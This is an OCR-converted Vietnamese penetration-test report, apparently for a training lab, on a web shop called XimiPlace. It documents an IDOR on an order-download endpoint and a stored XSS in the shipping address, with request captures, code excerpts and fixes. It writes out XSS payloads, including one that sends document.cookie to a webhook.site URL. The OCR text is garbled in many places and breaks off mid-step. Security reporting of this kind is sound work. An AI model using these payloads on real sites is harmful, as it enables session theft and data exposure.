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1. Téng quan

é; XimiPlace l& mét (ng dung cho phép ngudi dung tao tai khoan va mua sdm nhiing san

pham cé trén Ung dung

Bao céo nay liét ké nhiing 16 hdng bao mat va nhiing van dé dugc tim thay trong qua trinh kiém
thir ting dung XimiPlace trén may tinh. Mai 16 hdng sé dudc cung cAp mot ma L6i nham muc dich
quan ly va theo dai trong tuong lai. CAc ma l6i trong bdo cdo dudc danh sd theo thir tu thdi gian

tim ra l6i.

Qua trinh kiém thir dugc thuc hién dudi hinh thic Blackbox Testing.

2. L6 hong

2.1 XPE-01-001: Insecure Direct Object Reference
(IDOR) at /api/vl/orders/{id}/domwnload

2.1.1 Description and Impact

Endpoint /api/vl/orders/{id}/download khdng kiém tra day du quyén s& hitu vé don hang
trudc khi cho phép tai xudng dit liéu. Cu thé, hé thang chi dang dua trén tham s6 id, nhung
khéng xac minh don hang dé co6 thudc vé ngudi dang dang nhap hay khéng. Do dé ngudi dung
hgp L& cé thé thay d8i gia tri id dé tai xuéng di liéu khdng thudc vé minh.

L6 hdng nay dan dén ro ri nhiing thdng tin nhay cdm lién quan dén don hang nhu la théng tin don
hang, thdng tin thanh toan, thdng tin c& nhan khach hang, dia chi giao hang, chi tiét sdn pham da
mua, ....

2.1.2 Root Cause

L6 hdng nay ban dau dudc xac dinh thong qua kiém thit black-box va sau d6 dugdc xac nhan lai

bang source code review.

Khi ngugi dung truy cap vao endpoint /api/vi/orders/{id}/download thi controller & phia
server s& chuyén dén function & trong dudng dan


af://h1-1
af://h1-2
af://h2-3
af://h3-4
af://h3-5

backend/source/src/main/java/com/cbjs/ximiplace/controller/OrderController. java

tuang ung la:

aGetMapping("/{orderId}/download™)
public ResponseEntity<byte[]> downloadOrderCsv(
@aPathVariable Long orderId) {
byte[] csv = orderService.exportOrderCsv(orderId);
String fileName = "order-"

" "

+ orderId + ".csv";

return ResponseEntity.ok()
.header (HttpHeaders.CONTENT_DISPOSITION, "attachment; filename=\"" +
fileName + "\"")
.contentTgpe(new Medingpe("text", "csv", StandardCharsets.UTF_8))
.body(csv);

Sau d6 nd truyén orderId vao trong orderService dé tiép tuc xu ly tiép tuc & dudng dan
backend/source/src/main/java/com/cbjs/ximiplace/service/OrderService. java tai

function tuong Ung la:

aTransactional (readOnly = true)
public byte[] exportOrderCsv(Long orderId) {
Order order = orderRepository.findById(orderId)
.orElseThrow(() -> new NotFoundException("Order not found"));

List<OrderItem> items = orderItemRepository.findAl1ByOrderId(order.getId());
StringBuilder sb = new StringBuilder("\uFEFF");

appendCsvRow(sb, ORDER_CSV_HEADERS);

if (items.isEmpty()) {
appendCsvRow(sb, buildCsvRow(order, null, flagForCsv(order)));
} else {
for (OrderItem item : items) {
appendCsvRow(sb, buildCsvRow(order, item, flagForCsv(order)));

}

return sb.toString().getBytes(StandardCharsets.UTF_8);

Tuy nhién, trudc khi tao va tra vé file CSV, Ung dung khdng kiém tra id cta ngudi dung ma
orderId thudc vé cé trung vdi id cla ngudi dung hién tai dang dang nhap trén hé théng hay
khéng. Va lay truc tiép orderId do6 dé query database va tao file CSV. Diéu d6 dan téi viéc cé thé
tai vé mot file CSV ma khéng c6 quyén sé hiu.

2.1.3 Steps to reproduce

L6 hdng cd thé dugc tai hién bang cach st dung hai tai khodn ngudi dung khac nhau:

» AccountA: Tai khoan Attacker


af://h3-6

+ AccountB: Tai khoan Victim

Step 1: Tao tai khoan cho victim.

Tao tai khodan XimiPlace

Bét ddu hanh trinh mua sédm théng minh

Username

2 AccountB

Ho va tén

2 AccountB

Email

& AccountB@gmail.com

S6 dién thoai

Y 0939049621

Mat khau
el sssssses
bang ky
Pa co tai khoan? Pang nhap
Request Response
Pretty Raw Hex n = Pretty Raw Hex Render n =
1 POST /api/vl/auth/register HTTP/1.1 1 HTTP/1.1 200
2 Heost: ximiplace.exam.cyberjutsu-lab. tech 2 Server: nginx/1.31.2
3 Content-Length: 123 3 Date: Sat, 20 Jun 2026 02:16:49 GMT
4 Accept-lLanguage: en-US,en;q=0.9 4 Content-Type: application/json
5 Accept: application/json, text/plain, */* 5 Connection: keep-alive
6 Content-Type: application/json 6 Vary: Origin
7 User-Agent: Mozillas5.@ (X11; Linux x86_64) AppleWebKit/537.36 7 Vary: Access-Control-Request-Method
(KHTHML, like Gecko) Chrome/144.0.0.0 Safari/537.36 8 Vary: Access-Control-Request-Headers
2 Origin: http://ximiplace.exam.cyberjutsu-lab.tech 9 X-Content-Type-Options: nosniff
9 Referer: http://ximiplace.exam.cyberjutsu-lab.tech/register 16 X-XSS-Protection: @
10 Accept-Encoding: gzip, deflate, br 11 Cache-Contrel: no-cache, no-store, max-age=0, must-revalidate
11 Connection: keep-alive 12 Pragma: no-cache
12 13 Expires: @
13 { 14 X-Frame-Options: DENY
“email”:"AccountB@gmail.com”, 15 Content-Length: 561
"username”:"AccountB”, 16
"password AccountB”, 17 {
"fullName":"AccountB"”, "accessToken"
"phoneNumber”: "0939049621" "eyJhbGci0ilIUzUxMile ey lyb2x1IjoiVVNFULIsIm1kIjo@Niwic3ViIjoiYWNjb3V
¥ udGIiLCIpYXQi0jE30DESM]EAMDksImV4cCIGMTCAMjAWODIWOX Q. 2 Y5S0SIbIXRODSY
pTHy3h_otErXJwS8mSct-xzsF54h3ymZWC8PZzt72GQZ78TOXFO6gLCNZ tgHMSDZS5e)2
ETNG",
"tokenType":"Bearer”,
"2026-06-21T02:16:49",

"expiresA

1 "f513d60b-0ebb-426C-b38a-ccf@a7bch24f",
"username”:"accountb”,
"email”:"accountb@gmail.com”,
"fullName":"AccountB”,

"phoneNumber": "0939049621"
"avatarPath":"/avatar.png",

"role”:"USER",

"wallet":360000,

"status":"ACTIVE",
"createdAt”:"2026-06-20T02:16:49.740114629"




Két qua: Ta thay hién tai id cta AccountB la 46

Step 2: Tao order cho victim B

Lamsmam |

Ford Mustang Mach 11969 Qudn boxer di trdng Blue Sky Candy

1.490.000.000 d 69.000 d /;9.100 d

1.8 (3) Chop Shop * 4.8 (3) Heisenberg Supply... W 4.9 (5) Heisenberg Supply...
Fashion

Qudn boxer dui tréing

¥ 4.8 (3 danh gia) = 25 dad ban

69.000 d

Giam 80% hom nay

& Cua hang: Heisenberg Supply Co.

Sélugng: - 1 +  Con 38 san phdm /
T Thém véo gid 4> Mua ngay



Thong tin giao hang

Ngudi nhén S6 dién thoai
AccountB 0939049621
Tinh/Théanh Qudén/Huyén
AccountB AccountB
Phuéng/Xa Bia chi chi tiét
AccountB AccountB
Ghi chu
AccountBAccountg]

Dién day du théng tin

Phuong thiic thanh todn

@ B ViXimi Wallet
Thanh todn nhanh chéng, tién lgi va an toan vdi Ximi Wallet.

Bdn hang (1)

3 Quén boxer dui tréing 69.000 d
i x1

& Ma giam gid

XIMIO Ap dung
Tamn tinh 69.000 ¢
Phi van chuyén 3.600 ¢

Téng thanh todn / 72.600 d

Bat hang va thanh todn Wallet




Request

Pretty Raw
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13
14
15

Hex B8 n =
POST /apifvl/payments HTTP/1.1

Host: ximiplace.exam.cyberjutsu-lab.tech
Content-Length: 113

Authorization: Bearer
eyJhbGci0iJIUzUxMil9. ey Jyb2x1IjoiVVNFULIISIm1kIjo@Niwic
3ViTjoiYWNjb3VudGIiLCJpYXQi0jE30DESM]E4AMDksImVAcCIGMT
C4MjAWODIWOX0.zY550SIbIXRODSYpTWy 3h_otErXJwS8mSct-xzs
F54h3ymZWCBPzt72GQZ78TOXFO6gLCNztgHMSDZ5eJ2ETNg
Accept-Language: en-US,en;q=0.9

Accept: application/json, text/plain, */*
Content-Type: application/json

User-Agent: Mozilla/5.@ (X11; Linux x86_64)
AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/144.0.0.0 Safari/537.36

Origin: http://ximiplace.exam.cyberjutsu-lab.tech
Referer:
http://ximiplace.exam.cyberjutsu-lab.tech/checkout
Accept-Encoding: gzip, deflate, br

Cookie: ximi_token=

ey hbGci0iJIUzUxMiJ9. ey)yb2x1IjoiVVNFULIsIm1kIjo@Niwic
3ViIjoiYWNjb3VudGIiLCJpYXQi0jE30DESM]E4MDksImV4cCIGMT
c4MjAWODIWOX@.zY5S0SIbIXRODSYp Ty 3h_otErXJwS8mSct-xzs
F54h3ymZWCBPzt72GQZ78TOXFO6gLCNztgHMSDZ5eJ2ETNg

Connection: keep-alive

{
"orderId”:20,
"paymentMethod"”: "WALLET",
"returnurl”

"http://ximiplace.exam.cyberjutsu-1lab.tech/account/
orders/20"

Két qua: Da tao xong order v8i orderId la 20

Response

Pretty Raw

L= e R L
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12
13
14
15
16
17

Hex Render N n
HTTP/1.1 200

Server: nginx/1.31.2

Date: Sat, 20 Jun 2026 02:28:09 GMT
Content-Type: application/json

Connection: keep-alive

Vary: Origin

Vary: Access-Control-Request-Method

Vary: Access-Control-Request-Headers
X-Content-Type-Options: nosniff
X-XS5-Protection: @

Cache-Control: no-cache, no-store, max-age=0,
must-revalidate

Pragma: no-cache

Expires: @

X-Frame-Options: DENY

Content-Length: 220

{

EEP LN

"orderId":2@,
paymentMethod" : "WALLET",
"paymentStatus”:"PAID",
"amount":72600.00,

"transactionId”:
"87c7a3db-19d2-4601-a665-3ef6@dallled”,
"paidAt":"2026-06-20T02:28:09.817089645",
"paymentUrl”:null,

"failReason”:null

Step 3: Bit request tai xudng don hang ctia AccountB

e XimiPlace

8 Hosd @ Piachi MEPELLELEN QO Théngbdo & i matkhau

< Quay lgidon hang

Q  Tim san phdm, thudng hiéu, ctfa hang...

A=) [i"

S
t'i" AccountB
Xin chao, AccountB

\%

Paon hang cla téi

Ho sd cua tdi

Théng bao

(> Pang xuat



Pon hang cua toi

Tdtca Chdxacnhan PDanggiao Pagiao Da huy

X]M|-YWij3VudG[6MTcl.MTkyMjQ40TcxMA:= 20/06/2026 ( Ba xdc nhén Ba thanh todan Chitiét >
Qudn boxer dui tréng 69.000 d
x1
Téng thanh todn 72.600d
Tam tinh 69.000 d
Phi van chuyén 3.600 ¢
Tong cong 72.600d
Huy don hang P Khiéu nai &, Tai hod daon
Request Response
Pretty  Raw Hex = = Pretty ~ Raw Hex Render & \n =
1| GET /api/vl/orders/28/download HTTP/1.1 1 HTTP/1.1 200
2 ! . . -lab.tech 2 Server: nginx/1.31.2
3 Authorization: Bearer 3 Date: Sat, 20 Jun 2026 02:39:20 GMT
eyJhbGcini)IUzUxMi)9 . ey)yb2x1IjoiVVNFULIsImlkIjo@Niwic 4 Content-Type: text/csv;charset=UTF-8
3ViljoiYWNjb3VudGIiLCIpYXQi0jE30DESMIE4AMDksImMVACCIEMT 5 Content-Length: 3568
C4MjAWODIWOX®@.zY550SIbIxRODSypTWy3h_otErXJwS8mSct-xzs | 6 Connection: keep-alive
F54h3ymZWCBPz172GQZ78T@XFO6gLCNZtgHMSDZ5e ) 2ETNg 7 Vary: Origin
4 Accept-Language: en-US,en;q=0.9 & Vary: Access-Control-Request-Method
5 Accept: application/json, text/plain, */* 9 Vary: Access-Control-Reguest-Headers
6 User-Agent: Mozilla/5.@ (X11; Linux xB6_64) 10 Content-Disposition: attachment:
AppleWebKit/537.36 (KHTML, like Gecko) ‘ £ o 20.csv"
Chrome/144.0.0.@ Safari/s37.36 Scan ptions: nosniff
7 Referer: Passive scan selected message 4

http://ximiplace.exam.cyberjutsu-lab.tech/a »-cache, no-store, max-age=e,

Active scan selected message

ers/20

2 Accept-Encoding: gzip, deflate, br \ Send to Intruder Ctri+l

9 Cookie: ximi_token= Send to Repeater Ctrl+R
eyJhbGciDi)IUzUxMi)9 . ey)yb2x1IjoiVVNFUiIsIm] Send to Sequencer DENY

3ViTjoiYWNjb3vudGIiLCIpYXQi0jE30DESMIEAMD kST

C4Mj AODIWOX®. zYSSOSThIxR@DSypTHy3h_otErxJw ~ Sond to Comparer

ate,order_status,payment_status,

F54h3ymZWC8Pzt72GQZ78 TOXFO6gLCNztgHMSDZ5e)2  Sendto Decoder ustomer_name, customer_phone,
1@ Connection: keep-alive Send to Organizer ctrl+0 |, customer_ward, customer_district,
11 Open response in browser Jcher_code',1tem_'sku,1?:em_nvame,
12 Aame fnantitv unit nrire Tine tatal

Két qua: ba bit dugc goi tin download qua Repeater dé lat nita qua AccountA cé thé chinh stia
va tai str dung

Step 4: Logout tai khoan victim B



. - At
e XimiPlace Q  Tim san pham, thudng hiéu, ctia hang... =} 1_30 {.: AccountB

Xin chao, AccountB

) . . & Hé sd cua toi
S Hoésd @ Dia chi © DPon hang 0 Théng bdo & Daéi mat khéau
Ban hang cua t6i

Théng bao
< Quay lai don hang

(> Pang xudt

Step 5: Tao tai khoan cho attacker

Tao tai khodan XimiPlace

Bét déu hanh trinh mua sdm théng minh

Username

2 AccountA

Ho va tén

& AccountA

Email

£ AccountA@gmail.com

S6 dién thoai

L 0939049621

Mat khau

& sssssssssssssnnse

bang ky

Pa co tai khoan? Bang nhap



Request Response
Pretty ~ Raw  Hex LN W = | pretty Raw  Hex  Render Y n
1| POST /api/vl/auth/register HTTP/1.1 |

1 HTTP/1.1 200
2 Host: ximiplace.exam.cyberjutsu-lab.tech 2 Server: nginx/1.31.2
3 Content-Length: 131 3 Date: Sat, 20 Jun 2026 ©2:47:37 GMT
4 Accept-Language: en-US,en;q=0.9 4 Content-Type: application/json
5 Accept: application/json, text/plain, */* 5 Connection: keep-alive
6 Content-Type: application/json 6 Vary: Origin
7 User-Agent: Mozilla/5.@ (X11; Linux x86_64) 7 Vary: Access-Control-Request-Method
AppleWebKit/537.36 (KHTML, like Gecko) 8 Vary: Access-Control-Request-Headers
Chrome/144.0.0.0 Safari/537.36 9 X-Content-Type-Options: nosniff
Origin: http://ximiplace.exam.cyberjutsu-lab.tech 10 X-XSS-Protection: @
9 Referer: 11 Cache-Contrel: no-cache, no-store, max-age=0,
http://ximiplace.exam.cyberjutsu-lab.tech/register must-revalidate
10 Accept-Encoding: gzip, deflate, br 12 Pragma: no-cache
11 Connection: keep-alive 13 Expires: @
12 14 X-Frame-Options: DENY
13 { 15 Content-Length: 561
"email”:"AccountA@gmail.com”, 16
"username":"AccountA”, 17 {
"password": "AccountAAccountA”, "accessToken"
"fullName": "AccountA"”, "eyJhbGci0iJIUzUxMiJ9. ey yb2x1IjoiVVNFULiIsIm1kIjo@N
"phoneNumber": "0939049621" ywic3ViIjoiYWNjb3VudGELILCIpYXQi0jE30DESMjM2NTCcsImV4
} cCIGMTc4MjAXMDAIN3® . DFfSUzhBjNVJSEEGE2TEBQduIlltleGef
pz8kfHREEMDHOe sazuUAaLN6qJR3ZE1I411DYbgwoTuL23yFdotV
tisQ",

“"tokenType":"Bearer”,
"expiresAt":"2026-06-21T702:47:37",
"user":{

"uid":"chd84f22-62f1-49ea-bd98-092e6cec7187",
"username"”:"accounta”,
"email”:"accounta@gmail.com"”,
"fullName":"AccountA"”,
"phoneNumber":"0939049621",
"avatarPath":"/avatar.png”,

"role":"USER",

"wallet":360000,

"status":"ACTIVE",
"createdAt":"2026-06-20T02:47:37.412746695"

Két qua: Da tao dudc tai khodn cho attacker co id 1a 47 va cod accessToken dé chinh stfa cho
budc tiép theo

Step 6: Chinh siia accessToken trong goi tin niy bat dudc & Repeater thanh accessToken vifa
l1ay dudc kém vdi chinh siia id trén endpoint thanh ctia orderId clia victim

Dashboard  Target  Proxy  Intruder collaborutor Sequencer  Decoder  Comparer  logger  Organizer  Extensions  Learn

2 x +
ETRG oo < Targe it
-
N =1
Request
Pretty  Raw  Hex ® no=

1 GET Iapi/vlloxdersdomload HTTP/1.1

2 Host: ximiplace.exam.cyberjutsu-lab.tech

3 Authorization: Bearer
eyJhbGCi01JIUZUXMiI9. ey Jyb2x11j 01VVNFUITSIMIKIjo@Nywic3ViL] 01 YWNjb3VudGELLCIpYXQi0jE30DESMIM2NTC SIMV4cCIGMTC4M] AXHDALN3®. DFSUZhB jNV) SEEGE2rEBQduUT Lt 1eGe fpz8kTHRBBMDHOE SazUUAALNGqIR3ZEI411DYbg
woTuL23yFdotVtZsQ
Ccept-Language: en-US,en G=0.0

5 Accept: application/jsen, text/plain, */*

6 User-Agent: Mozilla/5.@ (X11; Linux x86_64) ApplewebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36

7 Referer: http://ximiplace.exam.cyberjutsu-lab.tech/account/orders/20

8 Acceet»Encoding: gzip, deflate, br

9 Cookie: ximi_token= 4

eyJhbGci0iJTUZUXMi J9. ey Jyb2x11joiVVNFUiTsIm1kT jo@Nywic3ViIjoiYiNjb3vudGEiLCIpYXQi0jEZ0DESMIM2NTCsImVAc CIGMTc4Mj AXMDAIN3® . DfSUZhB jNV) SEEGE2rERQduTltieGe fpz8kfHRBBMDHOe sazulAaLNGGJR3ZELI411DYb
WoTuL23yFdotytZsQ

11
12




Response
Pretty =~ Raw  Hex  Render = n

LIS

erver: nginx/1.31.2

Date: Sat, 20 Jun 2026 02:57:56 GMT

Content-Type: text/csv;charset=UTF-8

Content-Length: 568

Connection: keep-alive

Vary: Origin

Vary: Access-Control-Request-Method

Vary: Access-Control-Request-Headers

10 Content-Disposition: attachment; filename="order-20.csv"”

11 X-Content-Type-Options: nosniff

12 X-XS5-Protection: @

13 Cache-Control: no-cache, no-store, max-age=0, must-revalidate

14 Pragma: no-cache

15 Expires: ®@

16 X-Frame-Options: DENY

17

18| order_no,order_date,order_status,payment_status, payment_method, customer_name,
customer_phone,customer_address,customer_ward,customer_district,customer_city,voucher_code
,item_sku,item_name,item_size, store_name,quantity,unit_price,line_total, sub_total,discount,
shipping_fee, total,note

19 XIMI-YWNjb3VudGIGMTcAMTkyMjQ40TCcxMA==,2026-06-20T02:28:09,.709590600 , CONFIRMED , PAID ,WALLET,
AccountB,0939049621|AccountB,AccountB,AccountB,AccountB, HEG-APRON-@@1,Quén boxer dui
tréng,FIee,HeisenbeIg upply Co.,1, .0e, .0e, 0.00,0.00,3600.00,72600.00,

AccountBAccountB

e B = I, B S O¥

W

2.1.4 Remediation

Backend can bd sung kiém tra Authorization trudc khi export file CSV.

Cu thé, Backend khdng nén chi dya vao orderId do ngudidung truyén vao tir URL path. Trudc
khi export CSV, (ng dung can xac dinh ngudi dung hién tai dang dang nhap (& ai, sau dé kiém tra
don hang dugc yéu cau cé thudc vé ngudi dung doé hay khéng.

Vi du cho hudng x li la chinh s(a lai logic

tai backend/source/src/main/java/com/cbjs/ximiplace/service/OrderService. java:

User currentUser = currentUserService.getCurrentUser();

Order order = orderRepository.findById(orderId)
.orElseThrow(() -> new NotFoundException("Order not found"));

boolean isBuyer = order.getUser().getId().equals(currentUser.getId());
boolean isStoreOwner = order.getStore().getOwner().getId().equals(currentUser.qgetId());
boolean isAdmin = RoleEnum.ADMIN.equals(currentUser.getRole());

if (!isBuyer &% !isStoreOwner && !isAdmin) {
throw new UnauthorizedException("No permission");

}

// sau dé méi thwe hién tao CSV va export

Bang cach lam nhu thé thi:


af://h3-7

D6i vai ngudi dung, thi can id cla ngudi mua hang véi id cua user hién tai dang dang nhap
trung nhau

D6i v8i ngudi ban, thican id cla ngudi dang ban trung véi id cha user hién tai dang dang
nhap trung nhau

Péi v8i admin, thi cho phép ludn.

2.2 XPE-01-002: Stored XSS in Shipping Address
Section in Order Detail Page

2.2.1 Description and Impact

Attacker c6 thé chén HTML/Javascript payload vao trudng dia chi giao hang. Payload nay dugc
luu lai trong hé théng va sau dé dudc render truc tiép vao ndi dung raw cla HTML cua trang
Order Detail. Va khi ngudi dung truy cap vao trang chi tiét ctia don hang thi payload sé dugc load
lén va thuc thi & phia client-side.

L6 hdng nay cho phép ké tan céng thuc thi HTML/Javascript trén trinh duyét nan nhan qua do
lgi dung nhiing feature clia HTML/Javascript dé danh cip thong tin hién thi trén trang, thay déi
giao dién va ké ca danh cap phién dang nhap cta nan nhan

2.2.2 Root Cause

L6 héng nay ban dau dudc xac dinh thong qua kiém thit black-box va sau d6 dugc xac nhan lai
bang source code review.

Pau tién, API tao va cap nhat dia chi nhan truc tiép dit liéu JSON request tif ngudi dung théng
gua AddressRequest tai:

backend/source/src/main/java/com/cbjs/ximiplace/controller/AddressController. java
Vi du véi API tao dia chi:

aPostMapping
public ResponseEntity<AddressResponse> createAddress(
aValid @aRequestBody AddressRequest request

) |

Long userId = currentUserService.getCurrentUserId();
return ResponseEntity.ok(addressService.createAddress(userId, request));

}

C4c trudng dia chi trong AddressRequest c6 thé bi chén HTML/JavaScript payload vi tng dung
chi kiém tra rong va gidi han do6 dai, khéng cé co ché sanitize HTML ho&c allowlist ky tu. Source
code

tai: backend/source/src/main/java/com/cbjs/ximiplace/dto/address/AddressRequest. java


af://h2-8
af://h3-9
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aNotBlank
aSize(max = 255)
private String recipientAddress;

aNotBlank
aSize(max = 255)
private String recipientCity;

aNotBlank
aSize(max = 255)
private String recipientDistrict;

aNotBlank
@aSize(max = 255)
private String recipientWard;

Cac annotation nhu aNotBlank va aSize(max = 255) chi ddm bao dif liéu khong rong va khong
vugt qua do dai cho phép. Chung khdng ngan ngudi dung nhap HTML tag hoac JavaScript event
handler, vi du:

<img src=x onerror=alert(document.domain)>

Sau dé, dit liéu tir AddressRequest dugc MapStruct copy truc tiép sang entity Address thong
qua cac function toEntity() va updateEntity()

tai: backend/source/src/main/java/com/cbjs/ximiplace/util/mapper/AddresshMapper. java

Address toEntity(AddressRequest request);

void updateEntity(AddressRequest request, aMappingTarget Address address);

Service tiép tuc luu entity nay xudng database ma khéng thuc hién sanitize hoac bién dai di liéu.
Source code

tai: backend/source/src/main/java/com/cbjs/ximiplace/service/AddressService. java

Address address = addressMapper.toEntity(addressRequest);
address.setUser(user);
Address savedAddress = addressRepository.save(address);

Gia tri recipientAddress dudc luu xuéng database thdng qua entity Address , tuong (ng véi cot
addresses.recipient_address : backend/source/src/main/java/com/cbjs/ximiplace/entity

/Address. java

@Column(name = "recipient_address”, columnDefinition = "nvarchar(255)")
private String recipientAddress;

DAy la tién dé tao ra yéu td “stored” clia Stored XSS, vi payload khéng chi dugc xU ly tam thdi
trong request ma dudc luu lai trong database.



Khi ngudi dung thuc hién checkout, backend doc lai dia chi da luu dya trén
addressId: backend/source/src/main/java/com/cbjs/ximiplace/service/CheckoutService.

java

Address address = addressRepository
.findByIdAndUserId(request.getAddressId(), userId)
.orElseThrow(() -> new NotFoundException("Address not found"));

Sau do, cac gia tri dia chi dugc copy nguyén trang tir Address sang entity Order :

.customerAddress(address.getRecipientAddress())
.customerDistrict(address.getRecipientDistrict())
.customerCity(address.getRecipientCity())
.customerlard(address.getRecipientlard())

Diéu nay khién payload tiép tuc dugc luu ddc lap trong snapshot ctia don hang, vi du tai cac cot
nhu:

orders.customer_address
orders.customer_ward
orders.customer_district
orders.customer_city

Piém nay quan trong vi sau khi checkout, viéc cap nhat hoac xda dia chi géc khdng loai b
payload da dudc snapshot trong dan hang.

Khi ngudi dung truy cap trang chi tiét don hang, backend build response tit dit liéu order va
mapper copy nguyén trang cac trudng dia chi sang OrderResponse . Source code

tai: backend/source/src/main/java/com/cbjs/ximiplace/util/mapper/OrderMapper. java

aMapping(target = "customerAddress”, source = "order.customerAddress")
aMapping(target = "customerCity", source = "order.customerCity")
aMapping(target = "customerDistrict”, source = "order.customerDistrict™)
aMapping(target = "customerWard”, source = "order.customerllard™)

OrderResponse toOrderResponse(...);

d phia frontend, adapter tiép tuc anh xa cac gia tri nay vao object order.address ma khong

sanitize. Source code tai: frontend/source/src/services/api/adapters.ts

detail: raw?.customerAddress ?? "",
ward: raw?.customerWard ?? "",
district: raw?.customerDistrict ?? "",
province: raw?.customerCity ?? "",

Root cause truc tiép nam & viéc frontend render céc gia tri dia chi nay bang
dangerouslySetInnerHTML taitrang Order

Detail: frontend/source/src/pages/account/OrderDetailPage.tsx



<div
dangerouslySetInnerHTML={{
__html: “${order.address.detail}, ${order.address.ward},
${order.address.district}, ${order.address.province}"

1
/>

React mac dinh sé& encode dit liéu khi render bang JSX thong thudng. Tuy nhién, viéc st dung
dangerouslySetInnerHTML da chd déng bd qua cd ché bao vé& mac dinh nay va dua dit liéu vao
DOM dudi dang HTML.

Do dd, nguyén nhan chinh cta 16 héng & di liéu dia chi do ngudi dung kiém soat dudc luu va
truyén qua nhiéu l&p cla hé thong ma khdng dudc sanitize, sau dé dudc frontend render bang
HTML sink dangerouslySetInnerHTNL . Diéu nay cho phép payload HTML/JavaScript dudc trinh
duyét phan tich va thuc thi, dan téi Stored XSS.

2.2.3 Steps to reproduce

Step 1: Pang nhap lai vao AccountA

Pang nhap vao Ung dung bang tai khodn ngudi diing thdng thudng (AccountA).

Chdao muing tré lai

Péng nhap dé tiép tuc mua sém trén XimiPlace

Email

£ AccountA@gmail.com

Mat khdu
& sesssssssssesnne @ /
Pang nhap

Chua co tai khoan? Pang ky ngay

Step 2: Thém payload vao trong dia chi mac dinh cua order


af://h3-11

- -
e XimiPlace Q  Tim san pham, thudng hiéu, cifa hang... =} Ja) €:.: AccountA

Xin chao, AccountA

o 2 . o
eGiéhﬁng & Thanh todn e M ~ Hosdcuatdi

Pon hang cua téi

Théng bdo

[» Dang xuat

S Héso @ DPonhang O Théngbdo & Déi mat khdu

©

Chua c6 dia chindo

Thém dia chi dé thanh todén nhanh hon.

Ta st dung payload nhu sau:

<img src=x onerror=alert(1)>
Ta thay hién tai src=x nén & dudng dan khong hgp li nén khi tag <img> dudc load lén thi nd sé
tu dong kich hoat ham onerror=alert(1)

Payload nay dudc st dung dé kiém tra liéu di liéu trong trudng dia chi cé dudc render nhu HTML
va c6 thé thuc thi JavaScript hay khéng.



Thém dia chi

Ngudi nhan *
AccountA

Tinh/Thanh *

AccountA

Qudan/Huyén *

AccountA

S6 dién thoai *

0939049621

Phutng/Xa *

AccountA

1>

. - o 2ot *
| <img src=x onerror=alert(1

Dat lam dia chi mac dinh

Step 3: Mua mot don hang kem dia chi mac dinh

Thuc hién mua mét san pham va chon dia chi mac dinh da chira payload XSS & budc trudc lam
dia chi giao hang cho don hang.

e XimiPlace Q Tim san phdm, thudng hiéu, ctfa hang...

™~

8
Ford Mustang Mach 11969 Quan boxer dui tréng A Sky Candy
1.490.000.000 d 69.000d 99.100d
1.8 (3) Chop Shop 4.8 (3) Heisenberg Supply.. 4.9 (5) Heisenberg Supply...




Fashion

Quan boxer dui trdng

W 4.8 (3danh gia) 26 da ban

69.000 d

Giéim 80% hém nay

& Culia hang: Heisenberg Supply Co.

Sé lugng:  — 1 +  Con 37 san phdm
Y Thém véo gid 4> Mua ngay
b Giao nhanh 2h © Bao hanh 12 thang

° Gi6 hang @ Thanh toan & Hoan tat

Thanh todn

Thong tin giao hang © C6 1dla chi

(® Dung dia chi da luu

() Nhap dia chi khac

@® AccountA 0939049621 Mic dinh

<img src=x onerror=alert(1)>, AccountA, AccountA, AccountA

Ghichu

Ma giam gid

XIMI0 Ap dung
Tam tinh 69.000 ¢
Phi van chuyén 3.600 ¢
Téng thanh toan 72.600d

bat hang va thanh toan Wallet

Step 4: Vao xem chi tiét don hang vita mua



Sau khi dat hang thanh cdng, truy cap trang chi tiét don hang via tao.

. -
9 XimiPlace Q  Tim san pham, thudng hiéu, ctia hang... = Q7 . AccountA

@ Xin chdo, AccountA

2, Hé sd cua toi

Badn hang cua t6i

Don hang da dudc tao
Bon hang XIMI-YWNjb3VudGE6MTc4MTkzMjc20DUwOQ== da dugc

Théng bdo

[> Déng xuat

Téng két don hang Thanh todn thanh céng Ba thanh todn

S Héosd @ Piachi Mapb=bhlithsl QO Théngbdao & Déi mat khdu

Pon hang cua toi

Tdtcd Chdxdcnhén Panggioo Dagiao Dahuy

XIMI-YWNjb3VudGE6MTc4MTkzMjc20DUWOQ== 20/06/2026 | Béxacnhan | | Da thanh todn Chitiét >

3 Quén boxer dui tréng 69.000 d
x1

Téng thanh todn 72.600d

Khi trang chi tiét don hang dudc md, payload trong phan Pia chi giao hang dugc render va thuc
thi, lam xuat hién hop thoai alert(1) trén trinh duyét.



Cc A\ Not secure  ximiplace.exam.cyberjutsu-lab.tech

Ximiplace.exam.cyberjutsu-lab.tech says

1

2.2.4 Impact Validation: Admin Session Theft

Sau khi xac nhan payload <img src=x onerror=alert(1)> dudc luu va thuc thi trong trang chi
tiét don hang, payload dudc thay déi sang dang callback vé endpoint do attacker kiém soéat
nham kiém ching impact khi admin bot truy cp don hang.

Payload dugc str dung:

<img src=x onerror="fetch( 'https://<attacker-controlled-endpoint>/xss?
c="+encodeURIComponent(document.cookie))">

Tai day, dé cé dudc mdt endpoint do attacker kiém soat, ta c6 thé sir dung cac dich vu tao
webhook public nhu Webhook.site hodc Beeceptor . Cac dich vu nay cho phép tao mét URL
public dé nhan va quan sat cac request dudc gui tir payload XSS.

Step 1: Truy cadp vao llebhook.site


https://webhook.site/
https://beeceptor.com/
https://webhook.site/
af://h3-12

O « (¢} © webhook.site;
¥ Most Visited @ Fedora Docs

@ Webhooksite

November 8, 2025 2... ™ Fedora Magazine (3 Fedora Project

w L 0 4 9 - =
Project 2 Assignment 4 Bai tap vé nha - Goo...

D User Communities [JRed Hat (3 Free Content @ Khtn GPA 2.0 (3 Cyberjutsu (@ Giai bai xéc sut
o7 -

»|

& Sign Up Now

o Unlimited request:

Két qua: Webhook.site cap mot URL public do attacker kiém soat. URL nay s& dudc dung lam
endpoint nhan dir liéu dugc gui tu payload XSS.

Step 2: SU dung URL vifa c6 dé chinh lai payload XSS:

<img src=x onerror="fetch( 'https://webhook.site/74f516c8-5eaa-4d9c-977e-
97a50eb1838a/xss?c="+encodeURIComponent (document . s

Step 3: Lam tuong tu lai nhu 6 muc 2.2.3 dé tao don hang vdi dia chi la payload trén:

A

So dia chi / + Thém dia chi
AccountA | 0939049621 % Mac dinh 2 sia
<img src= 4f516c8-5eaa-4d9c-977e-97a50eb1838a/xss?
c="+encodeURIComponent(

